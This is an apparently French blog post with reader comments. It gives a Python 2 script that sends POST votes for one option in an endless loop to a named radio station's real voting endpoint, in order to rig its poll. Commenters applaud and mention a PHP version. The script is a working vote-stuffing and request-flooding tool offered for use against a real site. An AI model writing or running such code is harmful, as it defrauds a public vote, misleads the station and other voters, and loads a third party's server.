Influencer les votes ExpressFm avec Python
Le site ExpressFM offre une plateforme de vote basée sur une page back office se trouvant au niveau de http://www.radioexpressfm.com/ExpressBackEnd/vote.php. Cette page récupère les requêtes POST avec le paramètre radio qui indique le choix de l’électeur.
Le but de notre script est d’offrir une boucle infinie capable d’envoyer le maximum de requêtes de votes :
-
#!/usr/bin/env python
-
# encoding: utf-8
-
"""
-
networkTest.py
-
-
Created by XXXXXX on 2012-11-16.
-
Copyright (c) 2012 __MyCompanyName__. All rights reserved.
-
"""
-
-
import sys
-
import os
-
import httplib, urllib
-
-
-
def main():
-
while 1==1:
-
params = urllib.urlencode({‘radio’: 118})
-
headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
-
conn = httplib.HTTPConnection("www.radioexpressfm.com")
-
conn.request("POST", "/ExpressBackEnd/vote.php", params, headers)
-
response = conn.getresponse()
-
-
pass
-
-
-
if __name__ == ‘__main__’:
-
main()
-
-
PS : pour une raison que je ne connais pas mon éditeur de syntax a tendance à changer les quotes, à vous de les corriger avant d’exécuter le script.
Haha excellent!
j’ai fais la même chose en PHP : https://gist.github.com/4087293
cool 🙂 j’attends la version Ruby de slimkhan
ce qui est sure c’est que java, il faut compter 6x le nombre de lignes de code 🙂